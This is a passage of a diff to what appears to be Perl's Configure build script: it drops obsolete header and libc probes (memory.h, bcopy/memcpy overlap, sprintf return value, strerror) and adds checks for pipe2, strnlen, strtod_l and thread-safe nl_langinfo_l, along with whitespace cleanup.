@@ -17090,10 +16741,6 @@
 $rm_try
 
 $echo "Checking whether NV 0.0 is all bits zero in memory..." >&4
-: volatile so that the compiler has to store it out to memory.
-if test X"$d_volatile" = X"$define"; then
-	volatile=volatile
-fi
 $cat <<EOP >try.c
 #include <stdio.h>
 #$i_stdlib I_STDLIB
@@ -17100,16 +16747,12 @@
 #ifdef I_STDLIB
 #include <stdlib.h>
 #endif
-#$i_string I_STRING
-#ifdef I_STRING
-#  include <string.h>
-#else
-#  include <strings.h>
-#endif
+#include <string.h>
 #include <sys/types.h>
 #include <signal.h>
 #ifdef SIGFPE
-$volatile int bletched = 0;
+/* volatile so that the compiler has to store it out to memory */
+volatile int bletched = 0;
 $signal_t blech(int s) { bletched = 1; }
 #endif
 
@@ -17294,6 +16937,10 @@
 set pause d_pause
 eval $inlibc
 
+: see if pipe2 exists
+set pipe2 d_pipe2
+eval $inlibc
+
 : see if poll exists
 set poll d_poll
 eval $inlibc
@@ -17561,7 +17208,7 @@
 	esac
 	case "$random_r_proto" in
 	''|0)	d_random_r=undef
- 	        random_r_proto=0
+		random_r_proto=0
 		echo "Disabling random_r, cannot determine prototype." >&4 ;;
 	* )	case "$random_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -17616,7 +17263,7 @@
 	esac
 	case "$readdir64_r_proto" in
 	''|0)	d_readdir64_r=undef
- 	        readdir64_r_proto=0
+		readdir64_r_proto=0
 		echo "Disabling readdir64_r, cannot determine prototype." >&4 ;;
 	* )	case "$readdir64_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -17661,7 +17308,7 @@
 	esac
 	case "$readdir_r_proto" in
 	''|0)	d_readdir_r=undef
- 	        readdir_r_proto=0
+		readdir_r_proto=0
 		echo "Disabling readdir_r, cannot determine prototype." >&4 ;;
 	* )	case "$readdir_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -17740,236 +17387,6 @@
 set round d_round
 eval $inlibc
 
-: see if memory.h is available.
-val=''
-set memory.h val
-eval $inhdr
-
-: See if it conflicts with string.h
-case "$val" in
-$define)
-	case "$strings" in
-	'') ;;
-	*)
-		$cppstdin $cppflags $cppminus < $strings > mem.h
-		if $contains 'memcpy' mem.h >/dev/null 2>&1; then
-			echo " "
-			echo "We won't be including <memory.h>."
-			val="$undef"
-		fi
-		$rm -f mem.h
-		;;
-	esac
-esac
-set i_memory
-eval $setvar
-
-: can bcopy handle overlapping blocks?
-echo " "
-val="$undef"
-case "$d_memmove" in
-"$define") echo "I'll use memmove() instead of bcopy() for overlapping copies." ;;
-*)	case "$d_bcopy" in
-	"$define")
-		echo "Checking to see if bcopy() can do overlapping copies..." >&4
-		$cat >try.c <<EOCP
-#$i_memory I_MEMORY
-#$i_stdlib I_STDLIB
-#$i_string I_STRING
-#$i_unistd I_UNISTD
-EOCP
-	$cat >>try.c <<'EOCP'
-#include <stdio.h>
-#ifdef I_MEMORY
-#  include <memory.h>
-#endif
-#ifdef I_STDLIB
-#  include <stdlib.h>
-#endif
-#ifdef I_STRING
-#  include <string.h>
-#else
-#  include <strings.h>
-#endif
-#ifdef I_UNISTD
-#  include <unistd.h>  /* Needed for NetBSD */
-#endif
-int main()
-{
-char buf[128], abc[128];
-char *b;
-int len;
-int off;
-int align;
-
-/* Copy "abcde..." string to char abc[] so that gcc doesn't
-   try to store the string in read-only memory. */
-bcopy("abcdefghijklmnopqrstuvwxyz0123456789", abc, 36);
-
-for (align = 7; align >= 0; align--) {
-	for (len = 36; len; len--) {
-		b = buf+align;
-		bcopy(abc, b, len);
-		for (off = 1; off <= len; off++) {
-			bcopy(b, b+off, len);
-			bcopy(b+off, b, len);
-			if (bcmp(b, abc, len))
-				exit(1);
-		}
-	}
-}
-exit(0);
-}
-EOCP
-		set try
-		if eval $compile_ok; then
-			if $run ./try 2>/dev/null; then
-				echo "Yes, it can."
-				val="$define"
-			else
-				echo "It can't, sorry."
-			fi
-		else
-			echo "(I can't compile the test program, so we'll assume not...)"
-		fi
-		;;
-	esac
-	$rm_try
-	;;
-esac
-set d_safebcpy
-eval $setvar
-
-: can memcpy handle overlapping blocks?
-echo " "
-val="$undef"
-case "$d_memmove" in
-"$define") echo "I'll use memmove() instead of memcpy() for overlapping copies." ;;
-*)	case "$d_memcpy" in
-	"$define")
-		echo "Checking to see if memcpy() can do overlapping copies..." >&4
-		$cat >try.c <<EOCP
-#$i_memory I_MEMORY
-#$i_stdlib I_STDLIB
-#$i_string I_STRING
-#$i_unistd I_UNISTD
-EOCP
-	$cat >>try.c <<'EOCP'
-#include <stdio.h>
-#ifdef I_MEMORY
-#  include <memory.h>
-#endif
-#ifdef I_STDLIB
-#  include <stdlib.h>
-#endif
-#ifdef I_STRING
-#  include <string.h>
-#else
-#  include <strings.h>
-#endif
-#ifdef I_UNISTD
-#  include <unistd.h>  /* Needed for NetBSD */
-#endif
-int main()
-{
-char buf[128], abc[128];
-char *b;
-int len;
-int off;
-int align;
-
-/* Copy "abcde..." string to char abc[] so that gcc doesn't
-   try to store the string in read-only memory. */
-memcpy(abc, "abcdefghijklmnopqrstuvwxyz0123456789", 36);
-
-for (align = 7; align >= 0; align--) {
-	for (len = 36; len; len--) {
-		b = buf+align;
-		memcpy(b, abc, len);
-		for (off = 1; off <= len; off++) {
-			memcpy(b+off, b, len);
-			memcpy(b, b+off, len);
-			if (memcmp(b, abc, len))
-				exit(1);
-		}
-	}
-}
-exit(0);
-}
-EOCP
-		set try
-		if eval $compile_ok; then
-			if $run ./try 2>/dev/null; then
-				echo "Yes, it can."
-				val="$define"
-			else
-				echo "It can't, sorry."
-			fi
-		else
-			echo "(I can't compile the test program, so we'll assume not...)"
-		fi
-		;;
-	esac
-	$rm_try
-	;;
-esac
-set d_safemcpy
-eval $setvar
-
-: can memcmp be trusted to compare relative magnitude?
-val="$undef"
-case "$d_memcmp" in
-"$define")
-	echo " "
-	echo "Checking if your memcmp() can compare relative magnitude..." >&4
-	$cat >try.c <<EOCP
-#$i_memory I_MEMORY
-#$i_stdlib I_STDLIB
-#$i_string I_STRING
-#$i_unistd I_UNISTD
-EOCP
-	$cat >>try.c <<'EOCP'
-#include <stdio.h>
-#ifdef I_MEMORY
-#  include <memory.h>
-#endif
-#ifdef I_STDLIB
-#  include <stdlib.h>
-#endif
-#ifdef I_STRING
-#  include <string.h>
-#else
-#  include <strings.h>
-#endif
-#ifdef I_UNISTD
-#  include <unistd.h>  /* Needed for NetBSD */
-#endif
-int main()
-{
-char a = -1;
-char b = 0;
-if ((a < b) && memcmp(&a, &b, 1) < 0)
-	exit(1);
-exit(0);
-}
-EOCP
-	set try
-	if eval $compile_ok; then
-		if $run ./try 2>/dev/null; then
-			echo "Yes, it can."
-			val="$define"
-		else
-			echo "No, it can't (it uses signed chars)."
-		fi
-	else
-		echo "(I can't compile the test program, so we'll assume not...)"
-	fi
-	;;
-esac
-$rm_try
-set d_sanemcmp
-eval $setvar
-
 : see if prototype for sbrk is available
 echo " "
 set d_sbrkproto sbrk $i_unistd unistd.h
@@ -18165,14 +17582,24 @@
 extern int errno;
 #endif
 int main() {
-    struct semid_ds arg;
+    union semun
+#ifndef HAS_UNION_SEMUN
+    {
+	int val;
+	struct semid_ds *buf;
+	unsigned short *array;
+    }
+#endif
+    arg;
+    struct semid_ds argbuf;
     int sem, st;
 
 #if defined(IPC_PRIVATE) && defined(S_IRWXU) && defined(S_IRWXG) &&  defined(S_IRWXO) && defined(IPC_CREAT)
     sem = semget(IPC_PRIVATE, 1, S_IRWXU|S_IRWXG|S_IRWXO|IPC_CREAT);
     if (sem > -1) {
+	arg.buf = &argbuf;
 #	ifdef IPC_STAT
-	st = semctl(sem, 0, IPC_STAT, &arg);
+	st = semctl(sem, 0, IPC_STAT, arg);
 	if (st == 0)
 	    printf("semid_ds\n");
 	else
@@ -18179,7 +17606,7 @@
 #	endif /* IPC_STAT */
 	    printf("semctl IPC_STAT failed: errno = %d\n", errno);
 #	ifdef IPC_RMID
-	if (semctl(sem, 0, IPC_RMID, &arg) != 0)
+	if (semctl(sem, 0, IPC_RMID, arg) != 0)
 #	endif /* IPC_RMID */
 	    printf("semctl IPC_RMID failed: errno = %d\n", errno);
     } else
@@ -18263,7 +17690,7 @@
 	esac
 	case "$setgrent_r_proto" in
 	''|0)	d_setgrent_r=undef
- 	        setgrent_r_proto=0
+		setgrent_r_proto=0
 		echo "Disabling setgrent_r, cannot determine prototype." >&4 ;;
 	* )	case "$setgrent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -18312,7 +17739,7 @@
 	esac
 	case "$sethostent_r_proto" in
 	''|0)	d_sethostent_r=undef
- 	        sethostent_r_proto=0
+		sethostent_r_proto=0
 		echo "Disabling sethostent_r, cannot determine prototype." >&4 ;;
 	* )	case "$sethostent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -18369,7 +17796,7 @@
 	esac
 	case "$setlocale_r_proto" in
 	''|0)	d_setlocale_r=undef
- 	        setlocale_r_proto=0
+		setlocale_r_proto=0
 		echo "Disabling setlocale_r, cannot determine prototype." >&4 ;;
 	* )	case "$setlocale_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -18418,7 +17845,7 @@
 	esac
 	case "$setnetent_r_proto" in
 	''|0)	d_setnetent_r=undef
- 	        setnetent_r_proto=0
+		setnetent_r_proto=0
 		echo "Disabling setnetent_r, cannot determine prototype." >&4 ;;
 	* )	case "$setnetent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -18483,7 +17910,7 @@
 	esac
 	case "$setprotoent_r_proto" in
 	''|0)	d_setprotoent_r=undef
- 	        setprotoent_r_proto=0
+		setprotoent_r_proto=0
 		echo "Disabling setprotoent_r, cannot determine prototype." >&4 ;;
 	* )	case "$setprotoent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -18532,7 +17959,7 @@
 	esac
 	case "$setpwent_r_proto" in
 	''|0)	d_setpwent_r=undef
- 	        setpwent_r_proto=0
+		setpwent_r_proto=0
 		echo "Disabling setpwent_r, cannot determine prototype." >&4 ;;
 	* )	case "$setpwent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -18601,7 +18028,7 @@
 	esac
 	case "$setservent_r_proto" in
 	''|0)	d_setservent_r=undef
- 	        setservent_r_proto=0
+		setservent_r_proto=0
 		echo "Disabling setservent_r, cannot determine prototype." >&4 ;;
 	* )	case "$setservent_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -18849,11 +18276,8 @@
 : see if signbit exists
 $echo $n "Checking to see if you have signbit() available to work on $nvtype... $c" >&4
 $cat >try.c <<EOCP
-#$i_math I_MATH
 #$i_sunmath I_SUNMATH
-#ifdef I_MATH
-#  include <math.h>
-#endif
+#include <math.h>
 #ifdef I_SUNMATH  /* Solaris special math library */
 #  include <sunmath.h>
 #endif
@@ -19018,69 +18442,6 @@
 set socks5_init d_socks5_init
 eval $inlibc
 
-: see if sprintf returns the length of the string in the buffer as per ANSI
-$echo "Checking whether sprintf returns the length of the string..." >&4
-$cat <<EOP >try.c
-#include <stdio.h>
-#$i_stdlib I_STDLIB
-#ifdef I_STDLIB
-#include <stdlib.h>
-#endif
-#$i_string I_STRING
-#ifdef I_STRING
-#  include <string.h>
-#else
-#  include <strings.h>
-#endif
-#$i_math I_MATH
-#ifdef I_MATH
-#include <math.h>
-#endif
-
-char buffer[256];
-
-int check (size_t expect, int test) {
-  size_t got = strlen(buffer);
-  if (expect == got)
-    return 0;
-
-  printf("expected %ld, got %ld in test %d '%s'\n", (long) expect, (long) got,
-       test, buffer);
-  exit (test);
-}
-
-int main(int argc, char **argv) {
-  int test = 0;
-
-  check(sprintf(buffer, ""), ++test);
-  check(sprintf(buffer, "%s %s", "perl", "rules"), ++test);
-  check(sprintf(buffer, "I like %g", atan2(0,-1)), ++test);
-
-  return 0;
-}
-EOP
-set try
-
-if eval $compile; then
-    xxx="`$run ./try`"
-    case "$?" in
-	0) cat >&4 <<EOM
-sprintf returns the length of the string (as ANSI says it should)
-EOM
-	d_sprintf_returns_strlen="$define"
-	;;
-	*) cat >&4 <<EOM
-sprintf does not return the length of the string (how old is this system?)
-EOM
-	d_sprintf_returns_strlen="$undef"
-        ;;
-    esac
-else
-    echo "(I can't seem to compile the test program--assuming it doesn't)" >&4
-    d_sprintf_returns_strlen="$undef"
-fi
-$rm_try
-
 : see if srand48_r exists
 set srand48_r d_srand48_r
 eval $inlibc
@@ -19101,7 +18462,7 @@
 	esac
 	case "$srand48_r_proto" in
 	''|0)	d_srand48_r=undef
- 	        srand48_r_proto=0
+		srand48_r_proto=0
 		echo "Disabling srand48_r, cannot determine prototype." >&4 ;;
 	* )	case "$srand48_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -19142,7 +18503,7 @@
 	esac
 	case "$srandom_r_proto" in
 	''|0)	d_srandom_r=undef
- 	        srandom_r_proto=0
+		srandom_r_proto=0
 		echo "Disabling srandom_r, cannot determine prototype." >&4 ;;
 	* )	case "$srandom_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -19205,7 +18566,6 @@
 *)              echo "No, it doesn't." ;;
 esac
 
-
 : see if struct statfs knows about f_flags
 case "$d_statfs_s" in
 define)
@@ -19335,7 +18695,7 @@
 Checking how to access stdio streams by file descriptor number...
 EOM
 case "$stdio_stream_array" in
-'') 	$cat >try.c <<EOCP
+'')	$cat >try.c <<EOCP
 #include <stdio.h>
 int main() {
   if (&STDIO_STREAM_ARRAY[fileno(stdin)] == stdin)
@@ -19346,7 +18706,7 @@
 	do
 	        set try -DSTDIO_STREAM_ARRAY=$s
 		if eval $compile; then
-		    	case "`$run ./try`" in
+			case "`$run ./try`" in
 			yes)	stdio_stream_array=$s; break ;;
 			esac
 		fi
@@ -19370,69 +18730,6 @@
 set strcoll d_strcoll
 eval $inlibc
 
-: check for structure copying
-echo " "
-echo "Checking to see if your C compiler can copy structs..." >&4
-$cat >try.c <<'EOCP'
-int main()
-{
-	struct blurfl {
-		int dyick;
-	} foo, bar;
-
-	foo = bar;
-}
-EOCP
-if $cc -c try.c >/dev/null 2>&1 ; then
-	val="$define"
-	echo "Yup, it can."
-else
-	val="$undef"
-	echo "Nope, it can't."
-fi
-set d_strctcpy
-eval $setvar
-$rm_try
-
-: see if strerror and/or sys_errlist[] exist
-echo " "
-if test "X$d_strerror" = X -o "X$d_syserrlst" = X; then
-    if set strerror val -f d_strerror; eval $csym; $val; then
-		echo 'strerror() found.' >&4
-		d_strerror="$define"
-		d_strerrm='strerror(e)'
-		if set sys_errlist val -a d_syserrlst; eval $csym; $val; then
-			echo "(You also have sys_errlist[], so we could roll our own strerror.)"
-			d_syserrlst="$define"
-		else
-			echo "(Since you don't have sys_errlist[], strerror() is welcome.)"
-			d_syserrlst="$undef"
-		fi
-    elif xxx=`./findhdr string.h`; test "$xxx" || xxx=`./findhdr strings.h`; \
-			$contains '#[ 	]*define.*strerror' "$xxx" >/dev/null 2>&1; then
-		echo 'strerror() found in string header.' >&4
-		d_strerror="$define"
-		d_strerrm='strerror(e)'
-		if set sys_errlist val -a d_syserrlst; eval $csym; $val; then
-			echo "(Most probably, strerror() uses sys_errlist[] for descriptions.)"
-				d_syserrlst="$define"
-		else
-			echo "(You don't appear to have any sys_errlist[], how can this be?)"
-			d_syserrlst="$undef"
-		fi
-    elif set sys_errlist val -a d_syserrlst; eval $csym; $val; then
-		echo "strerror() not found, but you have sys_errlist[] so we'll use that." >&4
-		d_strerror="$undef"
-		d_syserrlst="$define"
-		d_strerrm='((e)<0||(e)>=sys_nerr?"unknown":sys_errlist[e])'
-    else
-		echo 'strerror() and sys_errlist[] NOT found.' >&4
-		d_strerror="$undef"
-		d_syserrlst="$undef"
-		d_strerrm='"unknown"'
-    fi
-fi
-
 : see if strerror_l exists
 set strerror_l d_strerror_l
 eval $inlibc
@@ -19442,7 +18739,7 @@
 eval $inlibc
 case "$d_strerror_r" in
 "$define")
-	hdrs="$i_systypes sys/types.h define stdio.h $i_string string.h"
+	hdrs="$i_systypes sys/types.h define stdio.h define string.h"
 	case "$d_strerror_r_proto:$usethreads" in
 	":define")	d_strerror_r_proto=define
 		set d_strerror_r_proto strerror_r $hdrs
@@ -19465,7 +18762,7 @@
 	esac
 	case "$strerror_r_proto" in
 	''|0)	d_strerror_r=undef
- 	        strerror_r_proto=0
+		strerror_r_proto=0
 		echo "Disabling strerror_r, cannot determine prototype." >&4 ;;
 	* )	case "$strerror_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -19498,10 +18795,18 @@
 set strlcpy d_strlcpy
 eval $inlibc
 
+: see if strnlen exists
+set strnlen d_strnlen
+eval $inlibc
+
 : see if strtod exists
 set strtod d_strtod
 eval $inlibc
 
+: see if strtod_l exists
+set strtod_l d_strtod_l
+eval $inlibc
+
 : see if strtol exists
 set strtol d_strtol
 eval $inlibc
@@ -19510,6 +18815,10 @@
 set strtold d_strtold
 eval $inlibc
 
+: see if strtold_l exists
+set strtold_l d_strtold_l
+eval $inlibc
+
 : see if strtoll exists
 set strtoll d_strtoll
 eval $inlibc
@@ -19607,7 +18916,7 @@
 	check("-1", 18446744073709551615UL, 0);
 	check("-18446744073709551614", 2, 0);
 	check("-18446744073709551615", 1, 0);
-       	check("-18446744073709551616", 18446744073709551615UL, ERANGE);
+	check("-18446744073709551616", 18446744073709551615UL, ERANGE);
 	check("-18446744073709551617", 18446744073709551615UL, ERANGE);
 #endif
 EOCP
@@ -19620,7 +18929,7 @@
 	check("-1", 4294967295UL, 0);
 	check("-4294967294", 2, 0);
 	check("-4294967295", 1, 0);
-       	check("-4294967296", 4294967295UL, ERANGE);
+	check("-4294967296", 4294967295UL, ERANGE);
 	check("-4294967297", 4294967295UL, ERANGE);
 #endif
 EOCP
@@ -19686,7 +18995,7 @@
 	check("-1",                    18446744073709551615ULL, 0);
 	check("-18446744073709551614",                     2LL, 0);
 	check("-18446744073709551615",                     1LL, 0);
-       	check("-18446744073709551616", 18446744073709551615ULL, ERANGE);
+	check("-18446744073709551616", 18446744073709551615ULL, ERANGE);
 	check("-18446744073709551617", 18446744073709551615ULL, ERANGE);
 #endif
 	if (!bad)
@@ -19740,7 +19049,7 @@
 	check("-1",                    18446744073709551615ULL, 0);
 	check("-18446744073709551614",                     2LL, 0);
 	check("-18446744073709551615",                     1LL, 0);
-       	check("-18446744073709551616", 18446744073709551615ULL, ERANGE);
+	check("-18446744073709551616", 18446744073709551615ULL, ERANGE);
 	check("-18446744073709551617", 18446744073709551615ULL, ERANGE);
 #endif
 	if (!bad)
@@ -19786,6 +19095,18 @@
 set sysconf d_sysconf
 eval $inlibc
 
+: see if sys_errlist[] exists
+echo " "
+if test "X$d_syserrlst" = X; then
+	if set sys_errlist val -a d_syserrlst; eval $csym; $val; then
+		echo "You have sys_errlist[], so we could roll our own strerror."
+		d_syserrlst="$define"
+	else
+		echo "You don't have sys_errlist[], so strerror() is welcome."
+		d_syserrlst="$undef"
+	fi
+fi
+
 : see if system exists
 set system d_system
 eval $inlibc
@@ -19807,6 +19128,90 @@
 set tgamma d_tgamma
 eval $inlibc
 
+: check for thread_safe_nl_langinfo_l item
+$cat <<EOM
+
+Checking to see if you have nl_langinfo_l() and that it is thread-safe
+EOM
+$cat >try.c <<EOCP
+#$i_stdlib I_STDLIB
+#ifdef I_STDLIB
+#  include <stdlib.h>
+#endif
+#include <string.h>
+#$i_langinfo I_LANGINFO
+#ifdef I_LANGINFO
+#  include <langinfo.h>
+#endif
+#$i_pthread I_PTHREAD
+#ifdef I_PTHREAD
+#  include <pthread.h>
+#endif
+#$i_locale I_LOCALE
+#ifdef I_LOCALE
+#  include <locale.h>
+#endif
+
+void *
+thread_start(void * arg)
+{
+    nl_langinfo(RADIXCHAR);
+}
+
+int main() {
+    char * main_buffer;
+    char save_main_buffer[1000];
+    pthread_t subthread;
+    pthread_attr_t attr;
+
+    main_buffer = nl_langinfo_l(CODESET, newlocale(LC_ALL_MASK, "C", 0));
+
+    /* If too large for our generous allowance, just assume we don't have
+     * it. */
+    if (strlen(main_buffer) >= sizeof(save_main_buffer)) {
+        exit(1);
+    }
+
+    strcpy(save_main_buffer, main_buffer);
+
+    if (pthread_attr_init(&attr) != 0) {
+        exit(1);
+    }
+
+    if (pthread_create(&subthread, &attr, thread_start, NULL) != 0) {
+        exit(1);
+    }
+
+    if (pthread_join(subthread, NULL) != 0) {
+        exit(1);
+    }
+
+    exit(! (strcmp(main_buffer, save_main_buffer) == 0));
+}
+EOCP
+case "$usethreads" in
+    define)
+        set try
+        if eval $compile; then
+            echo "Your system has nl_langinfo_l()..." >&4
+            if $run ./try; then
+                echo "and it is thread-safe (just as I'd hoped)." >&4
+                d_thread_safe_nl_langinfo_l="$define"
+                echo "$d_thread_safe_nl_langinfo_l" >&4
+            else
+                echo "but it isn't thread-safe, so we won't use it." >&4
+            fi
+        else
+            echo "your system does not have nl_langinfo_l()" >&4
+        fi
+        ;;
+    *) echo "Since threads aren't selected, we won't bother looking for nl_langinfo_l()" >&4
+esac
+if test X"$d_thread_safe_nl_langinfo_l" = X; then
+	d_thread_safe_nl_langinfo_l="$undef"
+fi
+$rm_try
+
 : see if time exists
 echo " "
 if test "X$d_time" = X -o X"$timetype" = X; then
@@ -19871,7 +19276,7 @@
 	esac
 	case "$tmpnam_r_proto" in
 	''|0)	d_tmpnam_r=undef
- 	        tmpnam_r_proto=0
+		tmpnam_r_proto=0
 		echo "Disabling tmpnam_r, cannot determine prototype." >&4 ;;
 	* )	case "$tmpnam_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -19928,7 +19333,7 @@
 	esac
 	case "$ttyname_r_proto" in
 	''|0)	d_ttyname_r=undef
- 	        ttyname_r_proto=0
+		ttyname_r_proto=0
 		echo "Disabling ttyname_r, cannot determine prototype." >&4 ;;
 	* )	case "$ttyname_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -20209,14 +19614,10 @@
 #include <sys/ndir.h>
 #else
 #ifdef I_SYS_DIR
-#ifdef hp9000s500
-#include <ndir.h>	/* may be wrong in the future */
-#else
 #include <sys/dir.h>
 #endif
 #endif
 #endif
-#endif
 int main() { return closedir(opendir(".")); }
 EOM
 	set try
@@ -20665,14 +20066,8 @@
 #define LONG_DOUBLESIZE $longdblsize
 #define LONG_DOUBLEKIND $longdblkind
 #endif
-#$i_math I_MATH
-#$i_string I_STRING
-#ifdef I_MATH
 #include <math.h>
-#endif
-#ifdef I_STRING
-#  include <string.h>
-#endif
+#include <string.h>
 #include <stdio.h>
 /* Note that whether the sign bit is on or off
  * for NaN depends on the CPU/FPU, and possibly
@@ -20861,11 +20256,8 @@
 : Check the length of the double mantissa
 $echo "Checking how many mantissa bits your doubles have..." >&4
 $cat >try.c <<EOP
-#$i_float I_FLOAT
 #$i_sunmath I_SUNMATH
-#ifdef I_FLOAT
-# include <float.h>
-#endif
+#include <float.h>
 #ifdef I_SUNMATH
 # include <sunmath.h>
 #endif
@@ -20891,11 +20283,8 @@
 : Check the length of the longdouble mantissa
 $echo "Checking how many mantissa bits your long doubles have..." >&4
 $cat >try.c <<EOP
-#$i_float I_FLOAT
 #$i_sunmath I_SUNMATH
-#ifdef I_FLOAT
-# include <float.h>
-#endif
+#include <float.h>
 #ifdef I_SUNMATH
 # include <sunmath.h>
 #endif
@@ -21156,7 +20545,7 @@
 fi
 : check for fflush NULL behavior
 case "$fflushNULL" in
-'') 	set try -DTRY_FFLUSH_NULL $output
+'')	set try -DTRY_FFLUSH_NULL $output
 	if eval $compile; then
 		$run ./try 2>/dev/null
 		code="$?"
@@ -21290,7 +20679,7 @@
 EOM
 		: now check for fflushall behaviour
 		case "$fflushall" in
-		'') 	set try -DTRY_FFLUSH_ALL $output
+		'')	set try -DTRY_FFLUSH_ALL $output
 			if eval $compile; then
 				$cat >&4 <<EOM
 (Now testing the other method--but note that this also may fail.)
@@ -21422,7 +20811,6 @@
 	echo "(I can't compile the test program--guessing $gidsize.)" >&4
 fi
 
-
 : Check if GID is signed
 echo " "
 case "$gidtype" in
@@ -21460,7 +20848,6 @@
 	echo "(I can't compile the test program--guessing unsigned.)" >&4
 fi
 
-
 : Check 64bit sizes
 echo " "
 
@@ -21483,7 +20870,7 @@
 		case "$yyy" in
 		12345678901)
 			sPRId64='"d"'; sPRIi64='"i"'; sPRIu64='"u"';
-                	sPRIo64='"o"'; sPRIx64='"x"'; sPRIXU64='"X"';
+			sPRIo64='"o"'; sPRIx64='"x"'; sPRIXU64='"X"';
 			echo "We will use %d."
 			;;
 		esac
@@ -21505,7 +20892,7 @@
 		case "$yyy" in
 		12345678901)
 			sPRId64='"ld"'; sPRIi64='"li"'; sPRIu64='"lu"';
-                	sPRIo64='"lo"'; sPRIx64='"lx"'; sPRIXU64='"lX"';
+			sPRIo64='"lo"'; sPRIx64='"lx"'; sPRIXU64='"lX"';
 			echo "We will use %ld."
 			;;
 		esac
@@ -21528,7 +20915,7 @@
 		case "$yyy" in
 		12345678901)
 			sPRId64=PRId64; sPRIi64=PRIi64; sPRIu64=PRIu64;
-                	sPRIo64=PRIo64; sPRIx64=PRIx64; sPRIXU64=PRIXU64;
+			sPRIo64=PRIo64; sPRIx64=PRIx64; sPRIXU64=PRIXU64;
 			echo "We will use the C9X style."
 			;;
 		esac
@@ -21550,7 +20937,7 @@
 		case "$yyy" in
 		12345678901)
 			sPRId64='"Ld"'; sPRIi64='"Li"'; sPRIu64='"Lu"';
-                	sPRIo64='"Lo"'; sPRIx64='"Lx"'; sPRIXU64='"LX"';
+			sPRIo64='"Lo"'; sPRIx64='"Lx"'; sPRIXU64='"LX"';
 			echo "We will use %Ld."
 			;;
 		esac
@@ -21572,7 +20959,7 @@
 		case "$yyy" in
 		12345678901)
 			sPRId64='"lld"'; sPRIi64='"lli"'; sPRIu64='"llu"';
-                	sPRIo64='"llo"'; sPRIx64='"llx"'; sPRIXU64='"llX"';
+			sPRIo64='"llo"'; sPRIx64='"llx"'; sPRIXU64='"llX"';
 			echo "We will use the %lld style."
 			;;
 		esac
@@ -21594,7 +20981,7 @@
 		case "$yyy" in
 		12345678901)
 			sPRId64='"qd"'; sPRIi64='"qi"'; sPRIu64='"qu"';
-                	sPRIo64='"qo"'; sPRIx64='"qx"'; sPRIXU64='"qX"';
+			sPRIo64='"qo"'; sPRIx64='"qx"'; sPRIXU64='"qX"';
 			echo "We will use %qd."
 			;;
 		esac
@@ -21781,15 +21168,10 @@
 
 : see if we need va_copy
 echo " "
-case "$i_stdarg" in
-"$define")
-	$cat >try.c <<EOCP
+$cat >try.c <<EOCP
 #include <stdarg.h>
 #include <stdio.h>
-#$i_stdlib I_STDLIB
-#ifdef I_STDLIB
 #include <stdlib.h>
-#endif
 #include <signal.h>
 
 int
@@ -21821,28 +21203,23 @@
   exit(0);
 }
 EOCP
-	set try
-	if eval $compile && $run ./try 2>&1 >/dev/null; then
-		case "`$run ./try`" in
-		"that's all right, then")
-			okay=yes
-			;;
-		esac
-	fi
-	case "$okay" in
-	yes)	echo "It seems that you don't need va_copy()." >&4
-		need_va_copy="$undef"
+set try
+if eval $compile && $run ./try 2>&1 >/dev/null; then
+	case "`$run ./try`" in
+	"that's all right, then")
+		okay=yes
 		;;
-	*)	echo "It seems that va_copy() or similar will be needed." >&4
-		need_va_copy="$define"
-		;;
 	esac
-	$rm_try
-	;;
-*)	echo "You don't have <stdarg.h>, not checking for va_copy()." >&4
+fi
+case "$okay" in
+yes)	echo "It seems that you don't need va_copy()." >&4
 	need_va_copy="$undef"
 	;;
+*)	echo "It seems that va_copy() or similar will be needed." >&4
+	need_va_copy="$define"
+	;;
 esac
+$rm_try
 
 : see what type is used for size_t
 rp="What is the type used for the length parameter for string functions?"
@@ -22061,18 +21438,9 @@
 fi
 $rm -f foo* bar*
 
-: see if this is a values.h system
-set values.h i_values
-eval $inhdr
-
 : Check the max offset that gmtime and localtime accept
 echo "Checking max offsets that gmtime () accepts"
 
-case $i_values in
-    define) yyy="#include <values.h>" ;;
-    *)      yyy="" ;;
-    esac
-
 case "$sGMTIME_min/$sGMTIME_max" in
     0/0|/)
 	$cat >try.c <<EOCP
@@ -22079,7 +21447,6 @@
 #include <sys/types.h>
 #include <stdio.h>
 #include <time.h>
-$yyy
 
 int i;
 struct tm *tmp;
@@ -22158,7 +21525,6 @@
 #include <sys/types.h>
 #include <stdio.h>
 #include <time.h>
-$yyy
 
 int i;
 struct tm *tmp;
@@ -22627,17 +21993,17 @@
 yes)
 	echo "Generating a list of signal names and numbers..." >&4
 	. ./signal_cmd
- 	sig_count=`$awk '/^NSIG/ { printf "%d", $2 }' signal.lst`
- 	sig_name=`$awk 'BEGIN { printf "ZERO " }
- 			!/^NSIG/ { printf "%s ", $1 }' signal.lst`
- 	sig_num=`$awk  'BEGIN { printf "0 " }
- 			!/^NSIG/ { printf "%d ", $2 }' signal.lst`
- 	sig_name_init=`$awk 'BEGIN	{ printf "\"ZERO\", " }
- 			     !/^NSIG/	{ printf "\"%s\", ", $1 }
- 			     END	{ printf "0\n" }' signal.lst`
- 	sig_num_init=`$awk  'BEGIN	{ printf "0, " }
- 			     !/^NSIG/	{ printf "%d, ", $2}
- 			     END	{ printf "0\n"}' signal.lst`
+	sig_count=`$awk '/^NSIG/ { printf "%d", $2 }' signal.lst`
+	sig_name=`$awk 'BEGIN { printf "ZERO " }
+			!/^NSIG/ { printf "%s ", $1 }' signal.lst`
+	sig_num=`$awk  'BEGIN { printf "0 " }
+			!/^NSIG/ { printf "%d ", $2 }' signal.lst`
+	sig_name_init=`$awk 'BEGIN	{ printf "\"ZERO\", " }
+			     !/^NSIG/	{ printf "\"%s\", ", $1 }
+			     END	{ printf "0\n" }' signal.lst`
+	sig_num_init=`$awk  'BEGIN	{ printf "0, " }
+			     !/^NSIG/	{ printf "%d, ", $2}
